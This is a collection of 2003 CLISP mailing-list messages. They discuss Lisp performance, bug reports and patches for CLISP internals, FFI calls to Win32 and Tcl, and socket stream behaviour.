function is  O(n) with n  =3D (length result) [assuming  that n>>(length
list-of-strings)].


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Hi,
>2. in general, the standard way is the same as adding lists of 
>numbers &c:
>        (reduce (lambda (s1 s2) (concatenate 'string s1 s2))
>                list-of-strings :initial-value "")
>   (CLISP-specific ext:string-concat is again faster:
>        (reduce #'ext:string-concat list-of-strings)
>   moreover, it does not cons up a lambda).

This is wrong [Sam, was it late night? :)]. Both don't create closure objects ("a lambda") upon each invocation.
CLISP's compiler is very well (and has always been) able to determine that the above lambda expression does not depend on run-time values. It's a function constant.
As a result, it does not cost more than a function call. The constant function object is stored as part of the enclosing function, e.g. foo1, and is created once only during e.g. loading of the containing .fas file.

(defun foo1 (list-of-strings)
(reduce (lambda (s1 s2) (concatenate 'string s1 s2)) list-of-strings :initial-value ""))

(disassemble #'foo1)
Disassembly of function FOO1
(CONST 0) = #<COMPILED-CLOSURE FOO1-1>
(CONST 1) = ""

Other compilers also know this optimization.
That's why it's better (performance-wise), for simple helper functions, to explicitly pass arguments than to close over some, even if it looks like repetition at the source-code level.
E.g. prefer:
(defun foo (a b c)
  (flet ((bar (x y z)
            (code involving only x y z)))
    (bar a (length b) (append a c)))
over:
(defun foo (a b c) ; less performant
  (flet ((bar (x z)
           (code using xyz and a b or c, e.g. (length b))))
    (bar a (append a c))))

Moreover, the local function can be copied as is into another source code, while the one which depends on an outer variable (b) is likely to yield to copy&paste trouble.

(length (times (foo1 list-of-strings)))
                                            Permanent            Temporary
Class                                  instances   bytes    instances   bytes
-----                                  --------- ---------  --------- ---------
SIMPLE-STRING                                  1       500         10      2640
; no FUNCTION object is created
-----                                  --------- ---------  --------- ---------
Total                                          1       500         10      2640

Regards,
	Jorg Hohle


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2003-10-06 10:03:24 +0200]:
>
> >2. in general, the standard way is the same as adding lists of 
> >numbers &c:
> >        (reduce (lambda (s1 s2) (concatenate 'string s1 s2))
> >                list-of-strings :initial-value "")
> >   (CLISP-specific ext:string-concat is again faster:
> >        (reduce #'ext:string-concat list-of-strings)
> >   moreover, it does not cons up a lambda).
> 
> This is wrong [Sam, was it late night? :)]. Both don't create closure
> objects ("a lambda") upon each invocation.

I did not say "upon each invocation".
I meant that there are two savings: first, EXT:STRING-CONCAT is faster
than (CONCATENATE 'STRING ...), and, second, it is called directly and
not via an ad hoc lambda.

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> * John Booher <pf123yno@lnubb.pbz> [2003-10-02 13:09:13 -0700]:
>
> How would I call a script (sh or python) from lisp?

CLISP-specific: <http://clisp.cons.org/impnotes.html#shell>
cross-implementation: <http://clocc.sourceforge.net/dist/port.html>
CLOCC/PORT/shell.lisp


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> * Sam Steingold <fqf@tah.bet> [2003-10-02 15:30:19 -0400]:
>
> > * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-10-02 13:39:31 -0400]:
> >
> > > this means that the DATA slot of the IMAGE-X structure gets corrupted
> > > somewhere, probably in C.
> > 
> > The C raw data pointer is wrong by 4 bytes (in my test), but the data
> > bits themselves seem to be OK.  I don't think the DATA slot of the
> > IMAGE-X structure is corrupted, since it still appears correct (from
> > lisp) after the program is run.  The only thing (confirmed) wrong is
> > the data pointer computed internal to the put-image function.
> 
> the fact that you and I get different results means, IMO, that the
> whole structure is corrupted somewhere.

Ironically, I was right - the problem was elsewhere.
I just fixed it in the CVS, the patch is appended.

thanks a lot for your testing and bug reporting!

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--- genclisph.d.~1.81.~	2003-10-02 10:39:28.460056500 -0400
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@@ -776,14 +776,14 @@
     #endif
   #endif
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+# printf("typedef struct { LRECORD_HEADER } sarray_;\n");
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+   printf("typedef struct { LRECORD_HEADER uint32  data[unspecified]; } sstring_;\n");
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+   printf("typedef struct { LRECORD_HEADER uint8  data[unspecified]; } sstring_;\n");
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> * calin damian <qnzpnywbof@lnubb.pbz> [2003-09-30 21:44:34 -0700]:
>
>  I installed clisp-2.31 on a Win 2000 OS. 
>  I want to access a MSSQL DB Server and I would like
> to know what CLISP packages are available to do this
> (and where I can find them).

CLISP comes with PostgreSQL and Oracle modules (not compiled into your
binary distribution).

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 > CLISP comes with PostgreSQL and Oracle modules (not compiled into your
 > binary distribution).

Not that this means these modules would be useful to access to MS-SQL
server.  AFAIK there is no such ODBC capability.  I'd work on one but
I think my efforts are better spent on Oracle.

Have you considered switching to Oracle?  Although I realize that
may be impractical.



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Is it possible to compile and install external modules with binary
distribution of clisp ? I'm using cygwin's package (clisp-2.31-2)
which lacks FastCGI module; I'd like to install this module without
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> * Roman Belenov <eoryrabi@lnaqrk.eh> [2003-10-08 10:25:09 +0400]:
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> Is it possible to compile and install external modules with binary
> distribution of clisp ? I'm using cygwin's package (clisp-2.31-2)
> which lacks FastCGI module; I'd like to install this module without
> rebuilding clisp from source.

yes, this is the whole point of external modules.
please see <http://clisp.cons.org/impnotes/modules.html>

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The recent switch in new-clx from lispbibl.c to clisp.h uncovered a bug
in clisp.h (fixed now, thanks to Barry Fishman for much testing).

Is it possible to somehow automatically check for header file
compatibility?

E.g.,

---------------------------------------
#include "clisp.h"
#include "lispbibl.h"

int main (int argc, char* argv[]) { return 0; }
---------------------------------------

cannot be compiled:
lispbibl.h:1: error: redefinition of `SBYTE'
clisp.h:213: error: `SBYTE' previously declared here

(although both define SBYTE identically as "typedef char SBYTE").

It is possible to grep clisp.h for typedefs and compute their sizeof()
&c...  Other ideas?

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Since 2.31, "global" is no longer defined in clisp.h (at least under
Linux), but it is used by the compiler for call-in functions.

Test code:


(eval-when (:compile-toplevel)
  (use-package :ffi))

(def-call-in call-in-test
  (:name "call_in_test")
  (:return-type int)
  (:language :stdc))


C code generated by compilation:


#include "clisp.h"

extern object module__call_in_test__object_tab[];

global int (call_in_test) (void)
{
[...]


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Sam Steingold <sds@gnu.org> writes:

>> Is it possible to compile and install external modules with binary
>> distribution of clisp ? I'm using cygwin's package (clisp-2.31-2)
>> which lacks FastCGI module; I'd like to install this module without
>> rebuilding clisp from source.
>
> yes, this is the whole point of external modules.
> please see <http://clisp.cons.org/impnotes/modules.html>

Thanks, I've got the idea now and succesfully built the module and
relinked clisp.

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When running CLISP as a shebang interpreter, is there anyway to get a
backtrace?  When I get an error, I'd like to print the error to a
logfile, followed by a backtrace.  Any help would be greatly
appreciated.

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> * Aurelio Bignoli <n.ovtabyv@pbzchgre.bet> [2003-10-08 16:59:25 +0200]:
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> Since 2.31, "global" is no longer defined in clisp.h (at least under
> Linux), but it is used by the compiler for call-in functions.

thanks for the bug report.
it is now fixed in the CVS.
please use the appended patch.


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--- foreign1.lisp.~1.47.~	2003-08-14 11:03:29.897609700 -0400
+++ foreign1.lisp	2003-10-09 09:32:57.721926400 -0400
@@ -932,7 +932,7 @@
                              argtypes)))
       (prepare-c-typedecl rettype)
       ;(mapc #'prepare-c-typedecl argtypes)
-      (format *coutput-stream* "~%global ~A "
+      (format *coutput-stream* "~%extern ~A "
               (to-c-typedecl rettype (format nil "(~A)" c-name)))
       (if (flag-set-p flags ff-language-ansi-c)
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> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-08 23:17:11 -0700]:
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> When running CLISP as a shebang interpreter,

what is "shebang interpreter"?

> is there anyway to get a backtrace?  When I get an error, I'd like to
> print the error to a logfile, followed by a backtrace.

search gmane for `backtrace' -->
<http://article.gmane.org/gmane.lisp.clisp.general/7517/>
(and around)

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Sam Steingold <sds@gnu.org> wrote:
>> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-08 23:17:11 -0700]:
>>
>> When running CLISP as a shebang interpreter,
>
>what is "shebang interpreter"?

The way an interpreter is marked as the program to call for shell
scripts:

 -------- cut ---------
#!/usr/bin/clisp

(format t "Hello, world~%")
 ------- cut ----------

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hi,

i think (feel free to correct me if i'm wrong) there's a bug in
ext:read-byte-sequence with the :no-hang option it seems to
loose the first read byte.

if i try to read the char-sequence "asdfg" it returns "sdfg". and
when called once again returns the missing #\a.

clisp-version is 2.31 (2003-09-01) on WinXP

to demonstrate about what i'm talking, please read the following
transcript. there are 4 tests:

1) (socket-accept ... :buffered nil) with (read-byte-sequence :no-hang t)
fails

2) (socket-accept ... :buffered nil) with (read-byte-sequence :no-hang nil)
works

3) (socket-accept ... :buffered t) with (read-byte-sequence :no-hang t)
works

4) (socket-accept ... :buffered t) with (read-byte-sequence :no-hang nil)
works


i start clisp with

> lisp.exe -M lispinit.mem -q

[1]> (setf s (SOCKET:SOCKET-SERVER 8888))
#<SOCKET-SERVER 0.0.0.0:8888>


from another console window i do a

telnet 127.0.0.1 8888

and type asdfg <ret> ...


back in lisp:

[2]> (setf st (socket:socket-accept s))
#<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:8888>

[3]> (setf (stream-element-type st) '(unsigned-byte 8))
(UNSIGNED-BYTE 8)

[4]> (ext:read-byte-sequence
        (setf a (make-array 10 :element-type '(unsigned-byte 8)
                               :initial-element 32))
           st :no-hang t)
6

[5]> a
#(115 100 102 103 13 10 32 32 32 32)

... so, the #\a from "asdfg" is missing... but where is it?

[6]> (ext:read-byte-sequence
         (setf a (make-array 10 :element-type '(unsigned-byte 8)
                                :initial-element 32))
         st :no-hang t)

1
[7]> a
#(97 32 32 32 32 32 32 32 32 32)

ah, here it is. strange, isn't it?

now i do the same without :no-hang

[8]> (ext:read-byte-sequence
              (setf a (make-array 10 :element-type '(unsigned-byte 8)
                                     :initial-element 32))
               st)
7

[9]> a
#(97 115 100 102 103 13 10 32 32 32)

this is what one would expect...

next, i try both combinations with the :buffered t option from
socket-accept:

[10]> (setf st (socket:socket-accept s :buffered t))
#<IO BUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:8888>

[11]> (ext:read-byte-sequence
              (setf a (make-array 10 :element-type '(unsigned-byte 8)
                                     :initial-element 32))
               st :no-hang t)
10

[12]> a
#(97 115 100 102 103 13 10 32 32 32)

[13]> (ext:read-byte-sequence
              (setf a (make-array 10 :element-type '(unsigned-byte 8)
                                     :initial-element 32))
               st :no-hang nil)
10

[14]> a
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Is this possible?  When running clisp (2.70) as a she-bang script
interpreter, I'd like to be able to print any errors to a log file,
followed by a :bt5 backtrace.  The first part's easy.  Before I go
converting my code to use tfblisp:defun, does anyone have a better
idea?

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Is there a CLISP command to force a garbage-collection?

For example, in Harlequin Lispworks, I use (hcl:mark-and-sweep 3).

    Thanks,
    Steve Siegel <siegel@cs.umass.edu>




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> * Stephen Siegel <fvrtry@pf.hznff.rqh> [2003-10-10 17:56:20 -0400]:
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> Is there a CLISP command to force a garbage-collection?

(ext:gc)
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> * Basim Al-Shaikhli <onpvyb@tzk.arg> [2003-10-10 20:45:15 +0200]:
>
> i think (feel free to correct me if i'm wrong) there's a bug in
> ext:read-byte-sequence with the :no-hang option it seems to loose the
> first read byte.

indeed - please try the appended patch.

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--- stream.d.~1.384.~	2003-10-09 19:17:53.189923800 -0400
+++ stream.d	2003-10-11 01:12:20.566761600 -0400
@@ -4948,18 +4948,28 @@
   return true;
 }
 
-local uintB* low_read_array_unbuffered_handle (object stream, uintB* byteptr,
-                                               uintL len, bool no_hang) {
-  if (UnbufferedStream_status(stream) < 0) # already EOF?
-    return byteptr;
-  while (UnbufferedStream_status(stream) > 0) { # bytebuf contains valid bytes?
+local inline uintB* UnbufferedStream_pop_all
+(object stream, uintB* byteptr, uintL *len)
+{ /* pop bytebuf into byteptr */
+  while (UnbufferedStream_status(stream) > 0) { /* have valid bytes? */
     UnbufferedStreamLow_pop_byte(stream,b);
     *byteptr++ = b;
-    len--;
-    if (len == 0)
+    if (--*len == 0)
+      break;
+  }
       return byteptr;
   }
+
+local uintB* low_read_array_unbuffered_handle (object stream, uintB* byteptr,
+                                               uintL len, bool no_hang) {
+  if (UnbufferedStream_status(stream) < 0) /* already EOF? */
+    return byteptr;
+  byteptr = UnbufferedStream_pop_all(stream,byteptr,&len);
+  if (len == 0) return byteptr;
   if (!no_hang || ls_avail_p(low_listen_unbuffered_handle(stream))) {
+    /* low_listen_unbuffered_handle could add to bytebuf */
+    byteptr = UnbufferedStream_pop_all(stream,byteptr,&len);
+    if (len == 0) return byteptr;
     var Handle handle = TheHandle(TheStream(stream)->strm_ichannel);
     run_time_stop(); /* hold run time clock */
     begin_system_call();



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Sam Steingold wrote:

>>* Basim Al-Shaikhli <bacilo@gmx.net> [2003-10-10 20:45:15 +0200]:
>>
>>i think (feel free to correct me if i'm wrong) there's a bug in
>>ext:read-byte-sequence with the :no-hang option it seems to loose the
>>first read byte.
>>    
>>
>
>indeed - please try the appended patch.
>  
>
thank you, but unfortunately i've neither a c-compiler, nor do i have 
the clisp-source. ;-)

Basim




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Date: Mon Oct 13 12:05:09 2003
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> * Bruno Haible <oehab@pyvfc.bet> [2003-10-13 12:21:54 +0200]:
> Date: Saturday 11 October 2003 18:22
> From: "Jarek" <jaroosh@poczta.wp.pl>
>
> I got the following error in CLisp (on Win XP):

what CLISP version?

> "*** - internal error: statement in file "pathname.d", line 4817 has been
>  reached!! Please send the authors of the program a description how you
>  produced this error!"
>
> That's what I did to produce it ;] :
>>(setq pathobj (make-pathname :device "D" :directory '(:absolute "Lisp"
>> :wild-inferiors "Examples") :name :wild :type "lisp"))
> (which produced the #P object correctly)

I get

#P"D:\\Lisp\\**\\Examples\\*.lisp"

>>(pathname-match-p pathobj "S")
> (where I got the error)

I get NIL.
I cannot reproduce this with clisp 2.31 on w2k.

can anyone reproduce this error?

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Date: Mon Oct 13 17:58:51 2003
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In article <uekxk97pv.fsf@gnu.org>, Sam Steingold <sds@gnu.org> writes:
> I have a file which starts with this line:
> ;;; -*- coding: utf-8-unix -*-

> it is opened and displayed by emacs correctly.
> however, when I try to modify and save it, I get the following question:

> Selected encoding mule-utf-8-unix disagrees with iso-2022-7bit specified
> by file contents.  Really save (else edit coding cookies and try again)?
> (y or n)

> when I answer affirmatively, the file is saved, but a line
> ;; -*- coding: iso-2022-7bit; -*-
> is added in front of my cookie.

> what is going on?

I can't reproduce this bug.  Could you please send me the
file that causes this problem in 8-bit safe way (base64 or
uuencode)?

---
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Date: Mon Oct 13 19:31:05 2003
X-Original-Date: Mon, 13 Oct 2003 20:34:44 -0500

The gcl random tester has found the following bug in clisp (built 1 Oct 2003):

(defparameter *fn*
   '(lambda (b)
      (flet ((%f10 nil :bad))
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	 (unwind-protect b)))))

(print (funcall (compile nil *fn*) :good))  ;; ==> :BAD
(print (funcall (eval `(function ,*fn*)) :good)) ;; ==> :GOOD


	;; Paul





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Date: Mon Oct 13 19:33:34 2003
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This may or may not be related to the other bug the tester found today:

(defparameter *f1*
   '(lambda (a b c)
      (let ((v9 a))
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	 (unwind-protect c)))))

(print (apply (compile nil *f1*) '(x y z))) ==> (x y z)
(print (apply (eval `(function ,*f1*)) '(x y z))) ==> z


	;; Paul




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Kenichi Handa writes:
> In article <uekxk97pv.fsf@gnu.org>, Sam Steingold <sds@gnu.org> writes:
> > I have a file which starts with this line:
> > ;;; -*- coding: utf-8-unix -*-
>=20
> > it is opened and displayed by emacs correctly.
> > however, when I try to modify and save it, I get the following questi=
on:
>=20
> > Selected encoding mule-utf-8-unix disagrees with iso-2022-7bit specif=
ied
> > by file contents.  Really save (else edit coding cookies and try agai=
n)?
> > (y or n)
>=20
> > when I answer affirmatively, the file is saved, but a line
> > ;; -*- coding: iso-2022-7bit; -*-
> > is added in front of my cookie.
>=20
> > what is going on?
>=20
> I can't reproduce this bug.  Could you please send me the
> file that causes this problem in 8-bit safe way (base64 or
> uuencode)?


I  had  recently  a  similar   problem  (without  a  -*-  coding:  -*-
line). I've got an answer on  usenet saying that emacs did not support
yet fully unicode, so when you have japanese characters, you must save
in iso-2022.

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Sam Steingold <sds@gnu.org> writes:
> Ironically, I was right - the problem was elsewhere.
> I just fixed it in the CVS, the patch is appended.

Sorry about the late reply, but I have not been able to retrieve a
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The bitmap is displayed correctly now.  Thank you.



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I use this function to capture the call stack as a string.  Then one
can print it, log it to a file, etc.

; GET-STACK-AS-STRING - Get the stack as a string for inclusion error message
(defun get-stack-as-string (&optional (nskip 0))
  ; Skip to first relevant EVAL frame
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	(mode 4)
	(frame (system::the-frame) (system::frame-up-1 frame mode))
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	      (system::describe-frame result frame)
	      (setf mode 5))
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	      (system::describe-frame result frame)))))




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Hello,

First off, I would like to say that I very much enjoy CLisp. Because of the nature of Lisp, it is hard to find a lot of resources on it, so I truly enjoy having something like CLisp for free!

My question is based off of a need that I have. As a developer I am in the need of creating part of my project in C++, and would _LOVE_ to create some parts of it in Lisp. Being able to do such a thing would greatly ease the development process. I was wondering, is it possible for me to be able to compile Lisp code into something like object code, and then use G++ to link my C++ code and the object code that was generated from the Lisp? I guess, basicly, what I am needing to do is be able to call Lisp functions from C++ functions.

Thanks!

Jason Whitehorn


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jason@nealug.nealug.org writes:
> Hello,
>=20
> First off, I would like to say that I very much enjoy CLisp. Because
> of the nature of Lisp, it is hard to find a lot of resources on it,
> so I truly enjoy having something like CLisp for free!
>=20
> My question is based off of a need that I have. As a developer I am
> in the need of creating part of my project in C++, and would _LOVE_
> to create some parts of it in Lisp. Being able to do such a thing
> would greatly ease the development process. I was wondering, is it
> possible for me to be able to compile Lisp code into something like
> object code, and then use G++ to link my C++ code and the object
> code that was generated from the Lisp? I guess, basicly, what I am
> needing to do is be able to call Lisp functions from C++ functions.

You could do that with gcl or ecl:

http://ecls.sf.net/
http://savannah.gnu.org/projects/gcl



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 > I am in the need of creating part of my project in C++, and would
 > _LOVE_ to create some parts of it in Lisp.

 > is it possible for me to be able to compile Lisp code into
 > something like object code, and then use G++ to link my C++ code and
 > the object code that was generated from the Lisp?

No, CLISP does not compile into native machine code; it uses something
like a byte-code interpreter similar to perl or Java (w/out JIT).

 > I guess, basicly, what I am needing to do is be able to call Lisp
 > functions from C++ functions.

However you can still call C/C++ functions from Lisp and call Lisp
functions from C/C++ using CLISP's Foreign Function Interface (FFI)

   http://clisp.cons.org/impnotes/dffi.html

If linking w/ C++ you'll need to make sure C++ unerstands the external
functions are C and not C++ (i.e., use the 'extern "C" {}' directive)
and also make sure you link in the library which provides the CLISP
runtime environment (lisp.a).



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Date: Thu Oct 16 10:57:31 2003
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Hello,

	I am new to CLISP but i am enjoying a lot developing software
with it. I have a question which probably has been already asked: i am
using clisp on a Windows XP box and i am trying to use the FFI package
to call some Win32 API functions in order to open a window to draw some
results. I have already been successful in calling some of those
functions but i am having trouble with two things:

	- First: is there any way i can retrieve a instance handle for
the clisp application i am running ? Some Win32 api functions require me
to pass an instance handle in order to successfully execute it.

	- Second: i need to define a callback function in lisp that will
be called from the win32 api. In other words, i am trying to define a
function "A" in lisp which is going to be passed to a win32 api function
"B". The api will then eventually call the function "A" defined in my
lisp code. Is it possible to do it in CLISP ?

	Thanks !!!

	Regards
	Andr=E9 Vargas

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> * Andr=C3=A9 Vargas Abs da Cruz <naqeri@ryr.chp-evb.oe> [2003-10-16 14:57=
:02 -0300]:
>
> - First: is there any way i can retrieve a instance handle for the
> clisp application i am running ? Some Win32 api functions require me
> to pass an instance handle in order to successfully execute it.

what is an "instance handle"?
is there a win32 api function that returns it?

> - Second: i need to define a callback function in lisp that will be
> called from the win32 api. In other words, i am trying to define a
> function "A" in lisp which is going to be passed to a win32 api
> function "B". The api will then eventually call the function "A"
> defined in my lisp code. Is it possible to do it in CLISP ?

<http://clisp.cons.org/impnotes/dffi.html#def-call-in>
<http://clisp.cons.org/impnotes/dffi.html#ex-call-in>

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> * Andr=C3=A9 Vargas Abs da Cruz <naqeri@ryr.chp-evb.oe> [2003-10-16 14:57=
:02 -0300]:
>
> - First: is there any way i can retrieve a instance handle for the
> clisp application i am running ? Some Win32 api functions require me
> to pass an instance handle in order to successfully execute it.

(use-package "FFI")

(defconstant MAX_PATH 1024)

(def-call-out get-module-file-name (:library "kernel32.dll")
  (:name "GetModuleFileNameA")
  (:arguments (application-instance-handle c-pointer)
              (name (c-ptr (c-array-max character #.MAX_PATH)) :out :alloca)
              (size int))
  (:return-type uint32))

(def-call-out get-module-handle (:library "kernel32.dll")
  (:name "GetModuleHandleA")
  (:arguments (name c-string))
  (:return-type c-pointer))

[16]> (get-module-file-name (get-module-handle nil) max_path)
37 ;
"d:\\gnu\\clisp\\current\\build-g\\lisp.exe"
[17]> (get-module-file-name (get-module-handle "kernel32") max_path)
30 ;
"C:\\WINNT\\system32\\KERNEL32.dll"
[18]>

see modules/bindings/win32 for more examples.

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> * Andr=C3=A9 Vargas Abs da Cruz <naqeri@ryr.chp-evb.oe> [2003-10-16 14:57=
:02 -0300]:
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> clisp application i am running ? Some Win32 api functions require me
> to pass an instance handle in order to successfully execute it.

Just pass NIL (NULL).

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Worked just fine. I'll look also for the other references you gave.
Thank you very much for your help !!!

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> * Andr=E9 Vargas Abs da Cruz <naqeri@ryr.chp-evb.oe> [2003-10-16=20
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Just pass NIL (NULL).

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This is what the gdi module in the packages directory does.

André Vargas Abs da Cruz wrote:

> Hello,
>
>         I am new to CLISP but i am enjoying a lot developing software
> with it. I have a question which probably has been already asked: i am
> using clisp on a Windows XP box and i am trying to use the FFI package
> to call some Win32 API functions in order to open a window to draw some
> results. I have already been successful in calling some of those
> functions but i am having trouble with two things:
>
>         - First: is there any way i can retrieve a instance handle for
> the clisp application i am running ? Some Win32 api functions require me
> to pass an instance handle in order to successfully execute it.
>
>         - Second: i need to define a callback function in lisp that will
> be called from the win32 api. In other words, i am trying to define a
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Sam wrote:
> typing "win32:GetCu TAB" does not work because the completer does not
> know that win32 is a case-sensitive package and thus folds case.
> there is now no way to find out whether the package is case-sensitive
> from lisp!
> is this intentional?

It was only intentional in the sense that I knew no valid use case of
a PACKAGE-CASE-SENSITIVE function. You have found one. So you can just go
ahead and add the function.

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hi,

i've just made my first steps with the FFI-module. i thought it would be
nice to have access to tcl/tk (especially tk) from clisp. but it seems
that there's something very wrong in what i'm doing whenever i
execute the following code, clisp crashes with the following error:

*** - handle_fault error2 ! address = 0xc0000010 not in
[0x62fd5098,0x63000000)
SIGSEGV cannot be cured. Fault address = 0xc0000010.

that's what i have done so far:

;;; typedef struct {
;;; char */result/;
;;; Tcl_FreeProc */freeProc/;
;;; int /errorLine/;
;;; } Tcl_Interp;
(def-c-struct TCL_INTERP
   (result c-string)
 (freeProc c-pointer)
 (errorLine int))


;;; Tcl_Interp* Tcl_CreateInterp() <../TclLib/Interp.htm>
(def-call-out create-interp (:library "tcl84.dll")
 (:name "Tcl_CreateInterp")
 (:return-type (c-ptr TCL_INTERP)))


;;; int Tcl_Eval*(/interp, script/)
(def-call-out tcl-eval (:library "tcl84.dll")
 (:name "Tcl_Eval")
 (:arguments (interp (c-ptr TCL_INTERP))
         (script c-string))
 (:return-type int))

;;; testing
(setq interp (create-interpr)

(tcl-eval interp "set v 3")

it would be very helpful if someone would tell me where i'm doing 
something wrong.

Basim




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> * Basim Al-Shaikhli <onpvyb@tzk.arg> [2003-10-17 20:35:41 +0200]:
>
> ;;; typedef struct {
> ;;; char */result/;
> ;;; Tcl_FreeProc */freeProc/;
> ;;; int /errorLine/;
> ;;; } Tcl_Interp;
> (def-c-struct TCL_INTERP
>    (result c-string)
>  (freeProc c-pointer)
>  (errorLine int))

try c-pointer instead of c-string for result.
the quick hack :


[5]> (ffi:default-foreign-language :stdc)
:STDC
[6]> (def-call-out create-interp (:library "tcl84.dll")
 (:name "Tcl_CreateInterp")
 (:return-type c-pointer))
CREATE-INTERP
[7]> (def-call-out tcl-eval (:library "tcl84.dll")
 (:name "Tcl_Eval")
 (:arguments (interp c-pointer) (script c-string))
 (:return-type int))
TCL-EVAL
[8]> (setq interp (create-interp))
#<FOREIGN-ADDRESS #x1018CF70>
[9]> (tcl-eval interp "set v 3")
0
[10]>


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>try c-pointer instead of c-string for result.
>the quick hack :
>
>
>[5]> (ffi:default-foreign-language :stdc)
>:STDC
>[6]> (def-call-out create-interp (:library "tcl84.dll")
> (:name "Tcl_CreateInterp")
> (:return-type c-pointer))
>CREATE-INTERP
>[7]> (def-call-out tcl-eval (:library "tcl84.dll")
> (:name "Tcl_Eval")
> (:arguments (interp c-pointer) (script c-string))
> (:return-type int))
>TCL-EVAL
>[8]> (setq interp (create-interp))
>#<FOREIGN-ADDRESS #x1018CF70>
>[9]> (tcl-eval interp "set v 3")
>0
>[10]>
>  
>
thanks a lot :-)
Basim





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Date: Wed Oct 22 08:04:17 2003
X-Original-Date: Wed, 22 Oct 2003 13:32:53 +0100

Hi,

I think this is a bug in Clisp 2.31:

--- foo.lisp ---
  (defstruct foo a b)
  (defstruct (bar (:include foo) (:conc-name foo-)) c)
  (defun quux (x) (foo-a x))
  (defun frobozz (x y) (setf (foo-a x) y))
--- foo.lisp ---

The transcript below shows the problem: essentially, while the reader
used in QUUX is respecting the constraint on colliding names for slot
accessors (see the page for DEFSTRUCT, in the :CONC-NAME section), the
writer in FROBOZZ isn't.

  csr21@mu:~$ clisp -ansi -q
  
  [1]> (lisp-implementation-version)
  "2.31 (released 2003-09-01) (built 3273208247) (memory 3275808511)"
  [2]> (compile-file "/tmp/foo.lisp")
  
  Compiling file /tmp/foo.lisp ...
  
  Wrote file /tmp/foo.fas
  0 errors, 0 warnings
  #P"/tmp/foo.fas" ;
  NIL ;
  NIL
  [3]> (load *)
  ;; Loading file /tmp/foo.fas ...
  ;; Loaded file /tmp/foo.fas
  T
  [4]> (quux (make-foo)) ; as expected
  NIL
  [5]> (frobozz (make-foo) t) ; not as expected
  
  *** - SYSTEM::%STRUCTURE-STORE: #S(FOO :A NIL :B NIL) is not a structure of type BAR
  
Disassembly of QUUX and FROBOZZ respectively show that the expected
types are FOO and BAR, respectively.

I hope that's enough information; let me know if you need any more
details.

Cheers,

Christophe
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Date: Wed Oct 22 10:33:04 2003
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> * Christophe Rhodes <pfe21@pnz.np.hx> [2003-10-22 13:32:53 +0100]:
>
> I think this is a bug in Clisp 2.31:
>
> --- foo.lisp ---
>   (defstruct foo a b)
>   (defstruct (bar (:include foo) (:conc-name foo-)) c)
>   (defun quux (x) (foo-a x))
>   (defun frobozz (x y) (setf (foo-a x) y))
> --- foo.lisp ---
>
> The transcript below shows the problem: essentially, while the reader
> used in QUUX is respecting the constraint on colliding names for slot
> accessors (see the page for DEFSTRUCT, in the :CONC-NAME section), the
> writer in FROBOZZ isn't.
>
>   csr21@mu:~$ clisp -ansi -q
>   
>   [1]> (lisp-implementation-version)
>   "2.31 (released 2003-09-01) (built 3273208247) (memory 3275808511)"
>   [2]> (compile-file "/tmp/foo.lisp")
>   
>   Compiling file /tmp/foo.lisp ...
>   
>   Wrote file /tmp/foo.fas
>   0 errors, 0 warnings
>   #P"/tmp/foo.fas" ;
>   NIL ;
>   NIL
>   [3]> (load *)
>   ;; Loading file /tmp/foo.fas ...
>   ;; Loaded file /tmp/foo.fas
>   T
>   [4]> (quux (make-foo)) ; as expected
>   NIL
>   [5]> (frobozz (make-foo) t) ; not as expected
>   
>   *** - SYSTEM::%STRUCTURE-STORE: #S(FOO :A NIL :B NIL) is not a structure of type BAR
>   
> Disassembly of QUUX and FROBOZZ respectively show that the expected
> types are FOO and BAR, respectively.

<http://clisp.cons.org/impnotes/structures.html>:

  The :INHERIT option is exactly like :INCLUDE except that it does not
  create new accessors for the inherited slots (this is a CLISP
  extension).

If you replace :INCLUDE with :INHERIT in your code, it will work.

I wonder if making DEFSTRUCT smarter and not redefining accessors when
not needed is the better way and should be used instead of :INHERIT.

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Date: Wed Oct 22 12:49:09 2003
X-Original-Date: Wed, 22 Oct 2003 17:19:01 +0100

Hi,

The following demonstrates, if not an outright bug, at least a
suboptimality in float coercion.  I understand where it's coming from,
I guess, but it's quite undesireable to get 0.0 out at the end... is
there any chance of this being fixed to "do what I mean"?

  [1]> (lisp-implementation-version)
  "2.31 (released 2003-09-01) (built 3275820501) (memory 3275821131)"
  [2]> least-positive-short-float
  2.93874s-39
  [3]> (coerce * 'single-float)

  *** - floating point underflow
  1. Break [4]> 
  [5]> (ext:without-package-lock ("SYSTEM")
    (setf system::*inhibit-floating-point-underflow* t))
  T
  [6]> least-positive-short-float
  2.93874s-39
  [7]> (coerce * 'single-float)
  0.0

Cheers,

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i would like to know how other people create user interfaces for
clisp-apps. the thing i miss most in clisp is a possibility to create
GUIs. currently i'm running a tiny application http-server and let the
user communicate via browser. although this solution has some benefits i
would like to create 'real' GUIs (for example i would like to have some
editable text-(editor-)widget and i'm annoyed about the capabilities of
html's textarea-field). unfortunately i didn't find any clisp-bindings
to gui-libraries under windows. of course i tried lisp2wish, but it
seems to be a bit too slow, especially if i want to bind callbacks like
dragging a scrollbar to lisp-functions. my attempts to embed tk via FFI
failed because of the (read: my) problems with embedding clisp in the tk
event-loop via FFI.

well, here's my question: has anyone ever tried to make tk usable via
clisp? or any other widget library (under windows)?
if not, how do you create GUIs? do you create GUIs?
i would even be thankful for some raw, unfinished sourcecode... *sigh* ;-)

Basim






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Sam Steingold <sds@gnu.org> writes:

> did you send the patch as an attachment?

Yep.  OK.

> could you please just append it and re-send the message?

See below (the point being that the DEFSETF that it expands to does
REMPROP inside EVAL-WHEN, so this has to too).

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                          `(LIST 'SETF (LIST 'SVREF STRUCT ,offset) VALUE)))))
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> * Christophe Rhodes <pfe21@pnz.np.hx> [2003-10-22 17:19:01 +0100]:
>
> The following demonstrates, if not an outright bug, at least a
> suboptimality in float coercion.  I understand where it's coming from,
> I guess, but it's quite undesireable to get 0.0 out at the end... is
> there any chance of this being fixed to "do what I mean"?

You are trying to coerce to SINGLE-FLOAT a number which is smaller than
LEAST-POSITIVE-SINGLE-FLOAT.  This means underflow, right?

>   [1]> (lisp-implementation-version)
>   "2.31 (released 2003-09-01) (built 3275820501) (memory 3275821131)"
>   [2]> least-positive-short-float
>   2.93874s-39
>   [3]> (coerce * 'single-float)
>
